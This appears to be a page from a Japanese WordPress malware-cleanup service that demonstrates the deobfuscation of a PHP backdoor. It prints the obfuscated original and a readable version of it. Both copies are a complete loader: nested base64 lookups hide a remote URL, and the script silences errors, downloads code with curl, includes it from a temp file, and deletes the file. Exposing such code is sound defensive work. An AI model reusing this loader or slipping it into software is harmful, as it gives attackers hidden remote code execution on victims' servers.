PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php

/*
* 欢迎使用恩科加密工具 http://www.baidu.com/
* 恩科网络专业承接网站站开发修改修复。企鹅：4515df
*/

function O81910999O($O41d45c68O){switch($O41d45c68O){case('O8ad938b0O'): return base64_decode('T2NlZDhkNmM2Tw==');case('O9eac58cdO'): return base64_decode('VDJOaE9UaGpPR1kxVHc9PQ==');case('O2a1f7115O'): return base64_decode('T2QxZWI3YTVjTw==');case('Oa2c979fcO'): return base64_decode('WVVoU01HTkViM1pNTWxJMVRWaE5kV0ZIYnowPQ==');case('O29508bcfO'): return base64_decode('TzFlMDAwNzE0Tw==');case('Od4ccb381O'): return base64_decode('VHpkbE9EUXlPRFU0VHc9PQ==');case('Oce055650O'): return base64_decode('TzQ3NmY2MDg1Tw==');case('O2ee43d84O'): return base64_decode('WVVkU05VeHRUblppVXpnOQ==');case('Od95703f4O'): return base64_decode('Tzk3NTg5NWY2Tw==');case('O0af45cbaO'): return base64_decode('VHpreVlXWTJNREJoVHc9PQ==');case('O017a9cb2O'): return base64_decode('TzEzYjIzNGJlTw==');case('O6d0378acO'): return base64_decode('V2tocmRnPT0=');case('Obace1bfcO'): return base64_decode('TzY4NzUzODcxTw==');case('O763312fcO'): return base64_decode('VHpOaU9UVXhNVGN6VHc9PQ==');case('O590b5fbdO'): return base64_decode('T2YyZmM1MTRiTw==');case('O2ef390caO'): return base64_decode('VDBSRk1WcEhTWFZrU0dndw==');case('Oedef4269O'): return base64_decode('TzNlNTNkM2UxTw==');case('O11fbbbc3O'): return base64_decode('VDJKalptTXpNMkpsVHc9PQ==');case('O2aeba0f2O'): return base64_decode('TzE5Y2M0ZmZjTw==');case('O3514c7e6O'): return base64_decode('WTBkb2R3PT0=');case('O4e4315a3O'): return base64_decode('TzI2MTY5OWM0Tw==');case('O5b612874O'): return base64_decode('VDJOaE9UaGpPR1kxVHc9PQ==');case('O89658309O'): return base64_decode('TzRiNjA0MWU3Tw==');case('O35bfc194O'): return base64_decode('VHpkbE9EUXlPRFU0VHc9PQ==');case('O2818ba3aO'): return base64_decode('TzZjZDI5OTk4Tw==');case('O47c55f88O'): return base64_decode('VHpreVlXWTJNREJoVHc9PQ==');case('Odfd6b8feO'): return base64_decode('TzRjMTg2ODJiTw==');case('Of125b682O'): return base64_decode('VHpOaU9UVXhNVGN6VHc9PQ==');case('O1e7b7952O'): return base64_decode('T2QxY2Y1MDZkTw==');case('Obb4508e5O'): return base64_decode('VDJKalptTXpNMkpsVHc9PQ==');case('O600c99a9O'): return base64_decode('T2NlZDhkNmM2Tw==');case('Oac507188O'): return base64_decode('T2QxZWI3YTVjTw==');case('Of8855546O'): return base64_decode('TzFlMDAwNzE0Tw==');case('Of65fcd3bO'): return base64_decode('TzQ3NmY2MDg1Tw==');case('O77266cfdO'): return base64_decode('Tzk3NTg5NWY2Tw==');case('O0b17d31aO'): return base64_decode('TzEzYjIzNGJlTw==');case('O1b443ea5O'): return base64_decode('TzY4NzUzODcxTw==');case('O521e4986O'): return base64_decode('T2YyZmM1MTRiTw==');case('Oeb0b99e0O'): return base64_decode('TzNlNTNkM2UxTw==');case('O6a6418faO'): return base64_decode('TzE5Y2M0ZmZjTw==');case('O1bb6633fO'): return base64_decode('TzI2MTY5OWM0Tw==');case('Ofed0c526O'): return base64_decode('TzRiNjA0MWU3Tw==');case('O65d1f2f5O'): return base64_decode('TzZjZDI5OTk4Tw==');case('O9f74f5ecO'): return base64_decode('TzRjMTg2ODJiTw==');case('O898fd0d1O'): return base64_decode('T2QxY2Y1MDZkTw==');}}function O5b0d8c2cO($O33bf2645O){switch($O33bf2645O){case(O81910999O('O8ad938b0O')): return base64_decode(O81910999O('O9eac58cdO'));case(O81910999O('O2a1f7115O')): return base64_decode(O81910999O('Oa2c979fcO'));case(O81910999O('O29508bcfO')): return base64_decode(O81910999O('Od4ccb381O'));case(O81910999O('Oce055650O')): return base64_decode(O81910999O('O2ee43d84O'));case(O81910999O('Od95703f4O')): return base64_decode(O81910999O('O0af45cbaO'));case(O81910999O('O017a9cb2O')): return base64_decode(O81910999O('O6d0378acO'));case(O81910999O('Obace1bfcO')): return base64_decode(O81910999O('O763312fcO'));case(O81910999O('O590b5fbdO')): return base64_decode(O81910999O('O2ef390caO'));case(O81910999O('Oedef4269O')): return base64_decode(O81910999O('O11fbbbc3O'));case(O81910999O('O2aeba0f2O')): return base64_decode(O81910999O('O3514c7e6O'));case(O81910999O('O4e4315a3O')): return base64_decode(O81910999O('O5b612874O'));case(O81910999O('O89658309O')): return base64_decode(O81910999O('O35bfc194O'));case(O81910999O('O2818ba3aO')): return base64_decode(O81910999O('O47c55f88O'));case(O81910999O('Odfd6b8feO')): return base64_decode(O81910999O('Of125b682O'));case(O81910999O('O1e7b7952O')): return base64_decode(O81910999O('Obb4508e5O'));}}function Oc6a16390O($O1ec3897bO){switch($O1ec3897bO){case(O5b0d8c2cO(O81910999O('O600c99a9O'))): return base64_decode(O5b0d8c2cO(O81910999O('Oac507188O')));case(O5b0d8c2cO(O81910999O('Of8855546O'))): return base64_decode(O5b0d8c2cO(O81910999O('Of65fcd3bO')));case(O5b0d8c2cO(O81910999O('O77266cfdO'))): return base64_decode(O5b0d8c2cO(O81910999O('O0b17d31aO')));case(O5b0d8c2cO(O81910999O('O1b443ea5O'))): return base64_decode(O5b0d8c2cO(O81910999O('O521e4986O')));case(O5b0d8c2cO(O81910999O('Oeb0b99e0O'))): return base64_decode(O5b0d8c2cO(O81910999O('O6a6418faO')));}}error_reporting(0);$Od0952af3O = Oc6a16390O(O5b0d8c2cO(O81910999O('O1bb6633fO')));$O323e5cedO = Oc6a16390O(O5b0d8c2cO(O81910999O('Ofed0c526O')));$O9ba25350O = Oc6a16390O(O5b0d8c2cO(O81910999O('O65d1f2f5O')));$O20c158abO = Oc6a16390O(O5b0d8c2cO(O81910999O('O9f74f5ecO')));$O272a753cO = $Od0952af3O . $O323e5cedO . $O9ba25350O . $O20c158abO;$Oc18f8c50O = curl_init($O272a753cO);curl_setopt($Oc18f8c50O, CURLOPT_RETURNTRANSFER, 1);$Oce321f25O = curl_exec($Oc18f8c50O);curl_close($Oc18f8c50O);$Ob905caadO = tempnam(sys_get_temp_dir(), Oc6a16390O(O5b0d8c2cO(O81910999O('O898fd0d1O'))));@file_put_contents($Ob905caadO, $Oce321f25O);@include $Ob905caadO;@unlink($Ob905caadO);

デコード(難読化解除)されたコード

<?php

/*
* 欢迎使用恩科加密工具 http://www.baidu.com/
* 恩科网络专业承接网站站开发修改修复。企鹅：4515df
*/
function O81910999O($O41d45c68O)
{
    switch ($O41d45c68O) {
        case 'O8ad938b0O':
            return "Oced8d6c6O";
        case 'O9eac58cdO':
            return "T2NhOThjOGY1Tw==";
        case 'O2a1f7115O':
            return "Od1eb7a5cO";
        case 'Oa2c979fcO':
            return "YUhSMGNEb3ZMMlI1TVhNdWFHbz0=";
        case 'O29508bcfO':
            return "O1e000714O";
        case 'Od4ccb381O':
            return "TzdlODQyODU4Tw==";
        case 'Oce055650O':
            return "O476f6085O";
        case 'O2ee43d84O':
            return "YUdSNUxtTnZiUzg9";
        case 'Od95703f4O':
            return "O975895f6O";
        case 'O0af45cbaO':
            return "TzkyYWY2MDBhTw==";
        case 'O017a9cb2O':
            return "O13b234beO";
        case 'O6d0378acO':
            return "Wkhrdg==";
        case 'Obace1bfcO':
            return "O68753871O";
        case 'O763312fcO':
            return "TzNiOTUxMTczTw==";
        case 'O590b5fbdO':
            return "Of2fc514bO";
        case 'O2ef390caO':
            return "T0RFMVpHSXVkSGgw";
        case 'Oedef4269O':
            return "O3e53d3e1O";
        case 'O11fbbbc3O':
            return "T2JjZmMzM2JlTw==";
        case 'O2aeba0f2O':
            return "O19cc4ffcO";
        case 'O3514c7e6O':
            return "Y0dodw==";
        case 'O4e4315a3O':
            return "O261699c4O";
        case 'O5b612874O':
            return "T2NhOThjOGY1Tw==";
        case 'O89658309O':
            return "O4b6041e7O";
        case 'O35bfc194O':
            return "TzdlODQyODU4Tw==";
        case 'O2818ba3aO':
            return "O6cd29998O";
        case 'O47c55f88O':
            return "TzkyYWY2MDBhTw==";
        case 'Odfd6b8feO':
            return "O4c18682bO";
        case 'Of125b682O':
            return "TzNiOTUxMTczTw==";
        case 'O1e7b7952O':
            return "Od1cf506dO";
        case 'Obb4508e5O':
            return "T2JjZmMzM2JlTw==";
        case 'O600c99a9O':
            return "Oced8d6c6O";
        case 'Oac507188O':
            return "Od1eb7a5cO";
        case 'Of8855546O':
            return "O1e000714O";
        case 'Of65fcd3bO':
            return "O476f6085O";
        case 'O77266cfdO':
            return "O975895f6O";
        case 'O0b17d31aO':
            return "O13b234beO";
        case 'O1b443ea5O':
            return "O68753871O";
        case 'O521e4986O':
            return "Of2fc514bO";
        case 'Oeb0b99e0O':
            return "O3e53d3e1O";
        case 'O6a6418faO':
            return "O19cc4ffcO";
        case 'O1bb6633fO':
            return "O261699c4O";
        case 'Ofed0c526O':
            return "O4b6041e7O";
        case 'O65d1f2f5O':
            return "O6cd29998O";
        case 'O9f74f5ecO':
            return "O4c18682bO";
        case 'O898fd0d1O':
            return "Od1cf506dO";
    }
}
function O5b0d8c2cO($O33bf2645O)
{
    switch ($O33bf2645O) {
        case O81910999O('O8ad938b0O'):
            return base64_decode(O81910999O('O9eac58cdO'));
        case O81910999O('O2a1f7115O'):
            return base64_decode(O81910999O('Oa2c979fcO'));
        case O81910999O('O29508bcfO'):
            return base64_decode(O81910999O('Od4ccb381O'));
        case O81910999O('Oce055650O'):
            return base64_decode(O81910999O('O2ee43d84O'));
        case O81910999O('Od95703f4O'):
            return base64_decode(O81910999O('O0af45cbaO'));
        case O81910999O('O017a9cb2O'):
            return base64_decode(O81910999O('O6d0378acO'));
        case O81910999O('Obace1bfcO'):
            return base64_decode(O81910999O('O763312fcO'));
        case O81910999O('O590b5fbdO'):
            return base64_decode(O81910999O('O2ef390caO'));
        case O81910999O('Oedef4269O'):
            return base64_decode(O81910999O('O11fbbbc3O'));
        case O81910999O('O2aeba0f2O'):
            return base64_decode(O81910999O('O3514c7e6O'));
        case O81910999O('O4e4315a3O'):
            return base64_decode(O81910999O('O5b612874O'));
        case O81910999O('O89658309O'):
            return base64_decode(O81910999O('O35bfc194O'));
        case O81910999O('O2818ba3aO'):
            return base64_decode(O81910999O('O47c55f88O'));
        case O81910999O('Odfd6b8feO'):
            return base64_decode(O81910999O('Of125b682O'));
        case O81910999O('O1e7b7952O'):
            return base64_decode(O81910999O('Obb4508e5O'));
    }
}
function Oc6a16390O($O1ec3897bO)
{
    switch ($O1ec3897bO) {
        case O5b0d8c2cO(O81910999O('O600c99a9O')):
            return base64_decode(O5b0d8c2cO(O81910999O('Oac507188O')));
        case O5b0d8c2cO(O81910999O('Of8855546O')):
            return base64_decode(O5b0d8c2cO(O81910999O('Of65fcd3bO')));
        case O5b0d8c2cO(O81910999O('O77266cfdO')):
            return base64_decode(O5b0d8c2cO(O81910999O('O0b17d31aO')));
        case O5b0d8c2cO(O81910999O('O1b443ea5O')):
            return base64_decode(O5b0d8c2cO(O81910999O('O521e4986O')));
        case O5b0d8c2cO(O81910999O('Oeb0b99e0O')):
            return base64_decode(O5b0d8c2cO(O81910999O('O6a6418faO')));
    }
}
error_reporting(0);
$Od0952af3O = Oc6a16390O(O5b0d8c2cO(O81910999O('O1bb6633fO')));
$O323e5cedO = Oc6a16390O(O5b0d8c2cO(O81910999O('Ofed0c526O')));
$O9ba25350O = Oc6a16390O(O5b0d8c2cO(O81910999O('O65d1f2f5O')));
$O20c158abO = Oc6a16390O(O5b0d8c2cO(O81910999O('O9f74f5ecO')));
$O272a753cO = $Od0952af3O . $O323e5cedO . $O9ba25350O . $O20c158abO;
$Oc18f8c50O = curl_init($O272a753cO);
curl_setopt($Oc18f8c50O, CURLOPT_RETURNTRANSFER, 1);
$Oce321f25O = curl_exec($Oc18f8c50O);
curl_close($Oc18f8c50O);
$Ob905caadO = tempnam(sys_get_temp_dir(), Oc6a16390O(O5b0d8c2cO(O81910999O('O898fd0d1O'))));
@file_put_contents($Ob905caadO, $Oce321f25O);
@(include $Ob905caadO);
@unlink($Ob905caadO);

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.